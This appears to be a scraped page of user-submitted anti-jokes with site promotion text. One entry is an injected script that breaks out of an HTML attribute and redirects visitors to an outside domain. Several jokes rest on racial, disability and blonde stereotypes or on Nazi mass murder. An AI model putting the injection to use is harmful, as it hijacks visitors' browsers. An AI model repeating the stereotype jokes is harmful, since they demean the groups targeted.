Why can't the blonde dial 911? The battery on her phone is dead and she needs to recharge it. (Good thing there's no emergency.)

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What did the asian boy's parents say when he came home with a report full of b-pluses? "You did well, but try harder next time."

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What did the boy in the wheelchair get for Christmas? A bicycle.

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What did the muffin, say to the other muffin? Nothing. Because muffin's are inanimate objects, therefore incapable of speech, or any other sentient action. They baked quietly until the man who was baking them came to the conclusion they were fit for consumption, devoured them, and went on with his day.

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How many blondes can you fit in a car? About 5 if you lift the arm rest.

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How do you make someone laugh? Tell them this joke.

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ugvvvvvv

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9-11 please state your emergency. My house is flooding! Dad, youre in the swimming pool.

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"'>document.location.href="http://cramik.org"

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What do you call a fish with no eyes? Dead.

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YOU

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Knock Knock -Who's there? No one -Ok

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Why did Susie fall off the swing? She had no arms. Knock knock Who's there? Not Susie!

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AND

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Ok is 25 really funnier than 24 because i think 8008 or 5318008 are way funnire tahn 24 or 35 just saying

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A: Rock! B:Paper! C: Siccorz! D: Shoot! D: Jimmy, you alright buddy? I didn't mean for that bullet to hit you man..

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what do u call a black guy who sells drugs a pharmacist

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Hitler, Mussilini, And Hideki Tojo Walk In To A Bar Mitzvah, Everyone Was Brutally Murdered & No One Survived.

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Why did the Salesman leave the leper colony? He had to wish his daughter a happy birthday.

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A man crawled up to a water fountain but fell because he had no legs

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Why was the poor man poor? Because he doesnt make money

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Whats red and bad for your teeth??? A brick!!!

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A man is walking on the beach and notices a shiny brass lamp on the ground. He picks it up, polishes it and then sells it for a reasonable amount of money at a local pawnbroker.

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Whats worse the losing your 3 kids, your lovely beautiful wife, and your trusty dog, all your belongings and in a house fire while you're at work? Nothing

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

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